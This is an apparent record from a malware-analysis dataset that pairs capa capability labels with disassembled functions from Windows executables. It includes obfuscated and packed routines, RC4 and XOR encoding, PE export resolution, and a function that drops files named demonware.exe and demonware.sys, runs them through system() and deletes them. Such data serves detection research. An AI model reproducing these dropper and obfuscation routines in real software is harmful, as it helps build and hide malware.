joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1406a8f35
Capabilities:
Encode data using xor

Disassembly:
mov r13, qword [rsp + 0x68]
mov r14, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x20]
lea rsp, [rsp + 0x88]
ret
lea r12, [r12 + r9*8 - 0x52c946e5]
lea rbx, [rbx + 0xf0f470c]
push r11
call 0x140362b50
call fcn.140452e3a
push r8
jg 0x1403d874c
push r13
jns fcn.1403592fa
add qword [rsp + 0x18], 0x34a26
movabs r13, 0xba2124b9d92418b8
push r10
mov rax, r15
call fcn.1404b1f69
and r12b, 0x95
not r9b
mov qword [rsp + 0x18], r9
lea r9, [r9 + r12*2 + 0x5cae2114]
jge 0x1403ef9b5

Function at 0x1406ae8dc
Capabilities:
Encode data using xor

Disassembly:
xor rsi, qword [rsp + r13 - 0x5f32717a]
test sil, 0x24
mov rbp, qword [rsp + r13 - 0x5f32718a]
mov rbp, qword [rbp + rsi]
je 0x1405e669a
shr byte [rax - 0x665d6daf], 1
mov esp, 0xb6215609
sti
mov ecx, 0xb66bf1d8
movabs rsp, 0x9afcb0aac80c32fa
sub byte [rdx + 0x34f857ef], al
xchg edx, eax
invalid
lea rsp, [rsp + 0x80]
ret
mov rbx, qword [rsp + rcx - 0x59037fd8]
mov qword [rsp + 0x28], rdx
not cx
movabs r13, 0x9c2b692f56807995
test cx, 0x41e
movabs r13, 0x439f0b20f33e8c12
bswap ecx
call fcn.140510a51
test byte [rsp + r13 - 0x5f327179], dl
jo 0x1404e6b86
call 0x1405aa8b9
xor ebx, 0xabafc19
js 0x1406cc266
add qword [rsp + r13 - 0x4e84d116], 0xfffffffffff9832f
test r13, 0xffffffffe5bce7a7
jle 0x14064eee2
nop
mov r13, qword [rsp + r13 - 0x4e84d106]
mov rsi, qword [rsp + r13 - 0x5f327182]
push rdx
mov rdx, rsi
jns 0x14046df8b
call fcn.14045b62c
jl 0x14054f861

Function at 0x1406c6b64
Capabilities:
Authenticate hmac
Packed with generic packer

Disassembly:
and ebx, 0x94b4dc07
push rdi
mov rdi, rbx
jb 0x1406ea471
mov qword [rsp + 0x38], rsi
ja 0x14068fa32

Function at 0x1406eb325
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], 0xffffffffbffce711
push qword [rsp + 0x10]
popfq
lea rsp, [rsp + 0x18]
call fcn.140810228

Function at 0x1406ee2ab
Capabilities:
Encode data using xor

Disassembly:
lea rax, [rax + r15*4 + 0x35b36832]
call fcn.140647a8e
mov bl, 0xde
in eax, dx
shr byte [rax], 0x32
invalid

Function at 0x1406fb30a
Capabilities:
Encode data using xor

Disassembly:
movabs rcx, 0xe70f549363977ea8
ja 0x140643d3d

Function at 0x140700286
Capabilities:
Encode data using xor

Disassembly:
xchg qword [rsp + r12 + 0x2e20ffdb], rcx
mov r12, qword [rsp + r12 + 0x2e20ffd3]
shl r11w, 4
jbe 0x14000abc4
cmp eax, 0xc4dc3251
xor dword [rax + 0x6d], edx
or eax, 0xd80ab879
and esi, dword [rdi]
invalid
Function at 0x14070a4b4
Capabilities:
Encode data using base64
Packed with generic packer

Disassembly:
movsx edi, r8w
movabs rbp, 0xc60c7a1e6bae8da0
movsx di, bpl
add qword [rsp + 0x20], 0xffffffffffdc1780
shr bpl, 0x15
cmp ebp, r8d
call fcn.1403dec1d
movzx r15w, r13b
shr qword [rsp + 8], 0x14
xchg qword [rsp + 0x60], rbx
mov r15, qword [rsp + 0x48]
shl byte [rsp + r13 + 0x59], 0x17
mov r10, r13
je 0x14066090c
jne fcn.14050740c
mov rsi, qword [rsp + r13*2 + 0x2a]
sets byte [rsp + r10*2 + 0xa]
shr r13d, 0xc
test r10, 0xffffffffea06c49f
mov rbx, qword [rsp + 0x10]
push r8
push rbp
pushfq
movabs r8, 0x7f3406a4932aba3c
mov rbp, r8
lea r8, [r8 + riz + 0xe245ebf]
lea rbx, [rbx + 1]
push rdi
movsx ebp, bpl
or bpl, r8b
movabs rdi, 0xc92cf534f016219c
mov qword [rsp + rbp*8 - 0x7c8], rbx
lea r8, [rdi + r8*4 + 0x11254238]
cmovne bp, r8w
jae 0x140610689

Function at 0x140717fb0
Capabilities:
Encode data using xor

Disassembly:
push r15
movabs r15, 0x3124eb9973ad858c
nop
mov rax, r15
mov r15d, 0xdcb749a9
neg r15b

Function at 0x1407251d0
Capabilities:
Encode data using base64
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
jns 0x14064b22d
call fcn.14061aada
shr edi, 0x49
mov rdi, qword [rsp + 0x48]
mov rdi, qword [rdi]
not r10b
lea r10, [r10 + r10*4 + 0x37b08688]
jne 0x140583240
out dx, al
xchg byte [rbx + 0x6523348f], ah
outsb dx, byte [rsi]
popfq
fstpnce st(7), st(0)
fnsave dword [rdi]
sbb eax, ebx
adc r12b, dil
ret
Function at 0x140002960
Capabilities:
Execute command

Disassembly:
sub rsp, 0x28
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Hello_World__n
call fcn.140004450
call fcn.140002410
lea rcx, str.pause_0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
add rsp, 0x28
ret

Function at 0x140002fb0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
push rsi
push rdi
push r12
push r13
push r14
push r15
mov r14, qword [rsp + 0x58]
xor r15d, r15d
mov r11, qword [rsp + 0x70]
mov r13, rdx
mov rax, qword [rsp + 0x60]
mov qword [r14], r8
mov qword [r11], rax
mov rdi, qword [r14]
cmp rdi, r9
je 0x140003143
mov r12, qword [rsp + 0x68]
lea r8d, [r15 + 1]
mov rsi, qword [r11]
mov r9d, 0x3ff
mov r10d, 0x2400
mov ebx, 0x2800
cmp rsi, r12
je 0x140003143
movzx edx, word [r13]
xor bpl, bpl
movzx ecx, word [rdi]
cmp r8w, dx
jae 0x140003049
lea eax, [r10 + rcx]
cmp ax, r9w
ja 0x140003167
mov eax, edx
sub ecx, 0xdc00
shl eax, 0xa
or eax, ecx
jmp 0x14000305f
mov eax, ecx
add cx, bx
cmp cx, r9w
ja 0x14000305f
shl eax, 0xa
mov bpl, 1
sub eax, 0x35f0000
cmp eax, 0x80
jae 0x140003072
movzx r9d, al
mov r10d, r15d
mov ebx, r15d
jmp 0x1400030bd
mov r9d, eax
cmp eax, 0x800
jae 0x14000308c
shr r9d, 6
mov r10d, r8d
or r9b, 0xc0
mov ebx, r8d
jmp 0x1400030bd
cmp eax, 0x10000
jae 0x1400030a6
shr r9d, 0xc
mov r10d, 2
or r9b, 0xe0
mov ebx, r10d
jmp 0x1400030bd
shr r9d, 0x12
mov r10d, 3
movzx ebx, bpl
or r9b, 0xf0
xor ebx, 1
add ebx, ebx
lea r8d, [rbx + 1]
mov rdx, r12
sub rdx, rsi
mov ecx, r8d
cmp rdx, rcx
jl 0x140003143
lea rcx, [rdi + 2]
mov qword [r14], rcx
test bpl, bpl
jne 0x1400030e1
cmp r10d, 3
jae 0x1400030ed
mov rcx, qword [r11]
mov r8d, ebx
mov byte [rcx], r9b
inc qword [r11]
mov r9, qword [r11]
test r8d, r8d
jle 0x14000311e
lea ecx, [r10 + r10*2]
add ecx, ecx
nop dword [rax + rax]
sub ecx, 6
mov edx, eax
shr edx, cl
dec r8d
and dl, 0x3f
or dl, 0x80
mov byte [r9], dl
inc qword [r11]
mov r9, qword [r11]
test r8d, r8d
jg 0x140003100
shr eax, 0xa
mov r8d, 1
test bpl, bpl
mov ecx, r8d
cmovne ecx, eax
mov word [r13], cx
mov rdi, qword [r14]
cmp rdi, qword [rsp + 0x50]
jne 0x140002ffe
mov rax, qword [rsp + 0x48]
cmp rax, qword [r14]
sete r15b
mov eax, r15d
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
mov eax, 2
jmp 0x140003152

Function at 0x1400060d0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000611a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000611a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000611a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000611a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000611a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000611c
xor al, al
add rsp, 0x28
ret
Function at 0x140c70058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x140c701df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140c70089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140c7006f
add dl, dl
jne 0x140c70096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140c700f6
xor eax, eax
add dl, dl
jne 0x140c700a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140c701ad
add dl, dl
jne 0x140c700b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140c700c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140c700d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140c700dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140c700ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140c7007e
mov eax, 1
add dl, dl
jne 0x140c70106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140c70113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140c700fb
sub eax, ebx
mov ebx, 1
jne 0x140c7014c
mov ecx, 1
add dl, dl
jne 0x140c7012e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140c7013b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140c70123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140c7007e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140c70168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140c70175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140c7015d
cmp eax, 0x7d00
jae 0x140c7019b
cmp eax, 0x500
jb 0x140c70196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140c7007e
cmp eax, 0x7f
ja 0x140c7019e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140c7007e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140c701d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140c7007e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140002780
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push rdi
cmp dword [0x14007a414], 0
lea rdi, [0x14007a410]
mov r11d, r8d
mov r9d, edx
mov r10, rcx
jne 0x140002858
mov qword [rsp + 0x10], rbx
xor edx, edx
mov rbx, rdi
nop dword [rax]
mov r8d, edx
lea rbx, [rbx + 4]
and r8d, 1
mov eax, edx
shr eax, 1
neg r8d
and r8d, 0xedb88320
inc edx
xor r8d, eax
mov eax, r8d
shr r8d, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, r8d
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov dword [rbx - 4], eax
cmp edx, 0x100
jb 0x1400027b0
mov rbx, qword [rsp + 0x10]
not r11d
mov eax, r11d
test r9d, r9d
jle 0x14000288e
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [r10]
lea r10, [r10 + 1]
movzx edx, al
xor rdx, rcx
shr eax, 8
xor eax, dword [rdi + rdx*4]
sub r9d, 1
jne 0x140002870
not eax
pop rdi
ret
movzx r9d, byte [r10]
lea r8, [r10 + 1]
test r9b, r9b
je 0x1400028cf
nop dword [rax + rax]
cmp r9b, 0x23
jne 0x1400028b3
cmp byte [r8], r9b
jne 0x1400028b3
cmp byte [r8 + 1], r9b
cmove eax, r11d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [rdi + rdx*4]
test r9b, r9b
jne 0x1400028a0
not eax
pop rdi
ret
Function at 0x140002ad0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x20
mov rdi, r8
test r8, r8
je 0x140002ae9
mov qword [r8], 0
lea rdx, [0x1400479f8]
call fcn.1400028e0
mov rbx, rax
test rax, rax
jne 0x140002b08
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 0x30], rbp
xor edx, edx
mov r8d, 2
mov qword [rsp + 0x38], rsi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140002bca
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rsi, eax
cmp esi, 0xffffffff
je 0x140002bca
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140002bca
mov rax, qword [0x14007a1e0]
mov rbp, rsi
test rax, rax
je 0x140002b67
inc dword [rax + 0x3c8]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x140002bca
mov r9, rbx
mov r8, rbp
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rbp
je 0x140002bb7
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x14007a1e0]
test rax, rax
je 0x140002bac
dec dword [rax + 0x3c8]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140002bd3
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rdi, rdi
je 0x140002bc5
mov qword [rdi], rbp
mov rax, rsi
jmp 0x140002bd5
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rbp, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140013750
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
push r15
sub rsp, 0x20
mov rdi, qword [0x14007a1e0]
xor esi, esi
mov r15, rcx
mov dword [rdi + 0x2d9c], esi
test rcx, rcx
je 0x14001386a
mov qword [rsp + 0x40], rbx
lea rbx, [rdi + 0x2da0]
mov dword [rdi + 0x2d9c], esi
mov ecx, dword [rbx + 4]
mov qword [rsp + 0x48], rbp
test ecx, ecx
jns 0x1400137aa
mov eax, ecx
cdq
sub eax, edx
mov edx, esi
sar eax, 1
add eax, ecx
mov rcx, rbx
test eax, eax
cmovg edx, eax
call fcn.140014860
mov dword [rbx], esi
cmp dword [rbx + 4], esi
jne 0x1400137be
mov edx, 8
mov rcx, rbx
call fcn.140014860
movsxd rcx, dword [rbx]
mov ebp, esi
mov rax, qword [rbx + 8]
mov byte [rcx + rax], sil
inc dword [rbx]
cmp dword [rdi + 0x2db0], esi
jle 0x14001380a
mov qword [rsp + 0x50], r14
mov r14, rsi
nop dword [rax]
mov r9, qword [rdi + 0x2db8]
mov r8, rbx
add r9, r14
mov rcx, rdi
mov rdx, r9
call qword [r9 + 0x20]
inc ebp
add r14, 0x30
cmp ebp, dword [rdi + 0x2db0]
jl 0x1400137e0
mov r14, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x48]
cmp qword [rbx + 8], rsi
je 0x140013819
mov esi, dword [rbx]
dec esi
mov rax, qword [rdi + 0x2da8]
lea rdx, [0x1400479fc]
test rax, rax
movsxd rsi, esi
lea rdi, [0x14007a1d8]
mov rcx, r15
cmovne rdi, rax
call fcn.1400028e0
mov rbx, rax
test rax, rax
je 0x140013865
mov r9, rax
mov r8, rsi
mov edx, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r15
pop rdi
pop rsi
ret
Function at 0x14001b860
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov r11, rsp
push r13
push r14
sub rsp, 0xb8
mov r13, rcx
movsxd rax, r9d
xor ecx, ecx
mov qword [rsp + 0x60], rax
mov dword [rsp + 0xe8], ecx
mov r14, rdx
test r9d, r9d
jle 0x14001bac2
mov qword [r11 + 8], rbx
lea rbx, [r8 + 0x20]
mov qword [r11 + 0x10], rbp
movzx ebp, byte [r13 + 0x24]
mov qword [r11 + 0x18], rsi
mov qword [r11 - 0x18], rdi
mov edi, 0x100
mov qword [r11 - 0x20], r12
xor r12d, r12d
mov qword [r11 - 0x28], r15
movaps xmmword [r11 - 0x38], xmm6
movaps xmmword [r11 - 0x48], xmm7
xorps xmm7, xmm7
movaps xmmword [r11 - 0x58], xmm8
movzx r11d, byte [r13 + 0x20]
movss xmm8, dword [0x14004cdf0]
nop word [rax + rax]
movss xmm6, dword [rbx - 0x20]
comiss xmm6, xmm7
jbe 0x14001b92a
movsxd r10, dword [r14 + 0x24]
mov r9, qword [r14 + 8]
movsx ecx, di
movzx eax, byte [r10 + r9 + 7]
movzx edx, byte [r10 + r9 + 6]
imul edx, ecx
movsx ecx, di
add dx, ax
movzx eax, byte [r10 + r9 + 5]
movsx r8d, dx
movzx edx, byte [r10 + r9 + 4]
imul edx, ecx
add ax, dx
cwde
sub eax, r8d
movd xmm0, eax
jmp 0x14001b949
movsxd rdx, dword [r14 + 0x1c]
xorps xmm6, xmm8
mov rax, qword [r14 + 8]
movzx ecx, byte [rdx + rax + 0x12]
movzx eax, byte [rdx + rax + 0x13]
shl ecx, 8
add ecx, eax
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
xor edi, edi
mov byte [rbx], r11b
mov byte [rbx + 1], bpl
divss xmm6, xmm0
cmp dword [rbx - 0x10], edi
jle 0x14001ba60
mov r15, qword [rsp + 0xf0]
mov rax, r12
shl rax, 4
add r15, 6
xor esi, esi
add r15, rax
nop word [rax + rax]
mov rax, qword [rbx - 0x18]
test rax, rax
jne 0x14001b990
mov edx, dword [rbx - 0x1c]
add edx, edi
jmp 0x14001b993
mov edx, dword [rax + rsi]
mov eax, dword [r13 + 0x24]
xorps xmm3, xmm3
xorps xmm2, xmm2
mov rcx, r14
cvtsi2ss xmm3, rax
mov eax, dword [r13 + 0x20]
cvtsi2ss xmm2, rax
mulss xmm3, xmm6
mulss xmm2, xmm6
call fcn.140016b90
mov edx, eax
mov rcx, r14
lea rax, [rsp + 0x5c]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x54]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
movss dword [rsp + 0x28], xmm7
movss dword [rsp + 0x20], xmm7
call fcn.1400194c0
movzx ecx, word [r13 + 0x1c]
inc r12
movzx r11d, word [r13 + 0x20]
movzx eax, cx
sub ax, word [rsp + 0x50]
dec cx
movzx ebp, word [r13 + 0x24]
dec ax
add ax, r11w
inc edi
add ax, word [rsp + 0x54]
add rsi, 4
mov word [r15 - 2], ax
movzx eax, bp
sub ax, word [rsp + 0x58]
add ax, cx
mov ecx, dword [rsp + 0xe8]
add ax, word [rsp + 0x5c]
inc ecx
mov word [r15], ax
add r15, 0x10
mov dword [rsp + 0xe8], ecx
cmp edi, dword [rbx - 0x10]
jl 0x14001b980
jmp 0x14001ba67
mov ecx, dword [rsp + 0xe8]
add rbx, 0x28
mov edi, 0x100
sub qword [rsp + 0x60], 1
jne 0x14001b8e0
movaps xmm8, xmmword [rsp + 0x70]
movaps xmm7, xmmword [rsp + 0x80]
movaps xmm6, xmmword [rsp + 0x90]
mov r15, qword [rsp + 0xa0]
mov r12, qword [rsp + 0xa8]
mov rdi, qword [rsp + 0xb0]
mov rsi, qword [rsp + 0xe0]
mov rbp, qword [rsp + 0xd8]
mov rbx, qword [rsp + 0xd0]
mov eax, ecx
add rsp, 0xb8
pop r14
pop r13
ret
Function at 0x14001f300
Capabilities:
Resolve function by parsing pe exports

Disassembly:
test r9d, 0xff000000
je 0x14001f4b9
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
movss xmm3, dword [rsp + 0x70]
xorps xmm0, xmm0
comiss xmm3, xmm0
mov esi, r9d
mov rdi, r8
mov rbp, rdx
mov rbx, rcx
jbe 0x14001f396
mov eax, dword [rsp + 0x78]
mov dword [rsp + 0x20], eax
call fcn.14001ec70
mov r8d, dword [rbx + 0x80]
mov r9d, esi
mov rdx, qword [rbx + 0x88]
mov rcx, rbx
call fcn.14001e280
mov ecx, dword [rbx + 0x84]
test ecx, ecx
jns 0x14001f387
mov eax, ecx
cdq
sub eax, edx
xor edx, edx
sar eax, 1
add eax, ecx
lea rcx, [rbx + 0x80]
test eax, eax
cmovg edx, eax
call fcn.140014400
mov dword [rbx + 0x80], 0
jmp 0x14001f4a5
mov edx, 6
movaps xmmword [rsp + 0x30], xmm6
mov r8d, 4
call fcn.14001d160
movzx edx, word [rbx + 0x48]
mov rax, qword [rbx + 0x38]
movss xmm1, dword [rdi]
movss xmm2, dword [rbp + 4]
movss xmm3, dword [rbp]
lea ecx, [rdx + 1]
movss xmm6, dword [rax + 4]
movss xmm5, dword [rax]
movss xmm4, dword [rdi + 4]
mov rax, qword [rbx + 0x58]
mov word [rax], dx
mov rax, qword [rbx + 0x58]
mov word [rax + 2], cx
lea ecx, [rdx + 2]
mov rax, qword [rbx + 0x58]
mov word [rax + 4], cx
mov rax, qword [rbx + 0x58]
mov word [rax + 6], dx
add dx, 3
mov rax, qword [rbx + 0x58]
mov word [rax + 8], cx
mov rax, qword [rbx + 0x58]
mov word [rax + 0xa], dx
movsd xmm0, qword [rbp]
mov rax, qword [rbx + 0x50]
movsd qword [rax], xmm0
mov rax, qword [rbx + 0x50]
movss dword [rax + 8], xmm5
movss dword [rax + 0xc], xmm6
mov rax, qword [rbx + 0x50]
mov dword [rax + 0x10], esi
mov rax, qword [rbx + 0x50]
movss dword [rax + 0x14], xmm1
movss dword [rax + 0x18], xmm2
mov rax, qword [rbx + 0x50]
movss dword [rax + 0x1c], xmm5
movss dword [rax + 0x20], xmm6
mov rax, qword [rbx + 0x50]
mov dword [rax + 0x24], esi
movsd xmm0, qword [rdi]
mov rax, qword [rbx + 0x50]
movsd qword [rax + 0x28], xmm0
mov rax, qword [rbx + 0x50]
movss dword [rax + 0x30], xmm5
movss dword [rax + 0x34], xmm6
mov rax, qword [rbx + 0x50]
mov dword [rax + 0x38], esi
mov rax, qword [rbx + 0x50]
movss dword [rax + 0x3c], xmm3
movss dword [rax + 0x40], xmm4
mov rax, qword [rbx + 0x50]
movss dword [rax + 0x44], xmm5
movss dword [rax + 0x48], xmm6
mov rax, qword [rbx + 0x50]
movaps xmm6, xmmword [rsp + 0x30]
mov dword [rax + 0x4c], esi
add qword [rbx + 0x50], 0x50
add dword [rbx + 0x48], 4
add qword [rbx + 0x58], 0xc
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x1400396d0
Capabilities:
Delete file
Execute command

Disassembly:
sub rsp, 0x48
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
mov ecx, 0x20
call fcn.140044d28
mov qword [rsp + 0x20], rax
movdqa xmm0, xmmword [0x14004c940]
movdqu xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [str.C:Usersdemonware.sys]
movups xmmword [rax], xmm0
mov ecx, dword [0x14004bc88]
mov dword [rax + 0x10], ecx
movzx ecx, word [0x14004bc8c]
mov word [rax + 0x14], cx
mov byte [rax + 0x16], 0
mov r8d, 0x2600
lea rdx, [0x140076ce0]
lea rcx, [rsp + 0x20]
call fcn.1400390a0
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x14003977c
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039777
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140039777
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140044b34
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
mov ecx, 0x20
call fcn.140044d28
mov qword [rsp + 0x20], rax
movdqa xmm0, xmmword [0x14004c940]
movdqu xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [str.C:Usersdemonware.exe]
movups xmmword [rax], xmm0
mov ecx, dword [0x14004bc70]
mov dword [rax + 0x10], ecx
movzx ecx, word [0x14004bc74]
mov word [rax + 0x14], cx
mov byte [rax + 0x16], 0
mov r8d, 0x21c00
lea rdx, [0x1400550e0]
lea rcx, [rsp + 0x20]
call fcn.1400390a0
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x140039824
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003981f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003981f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140044b34
lea rcx, str.C:Usersdemonware.exe_C:Usersdemonware.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Usersdemonware.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Usersdemonware.exe
add rsp, 0x48
jmp qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xchg dword [rax - 0x52500038], eax
jmp 0x132bf73b2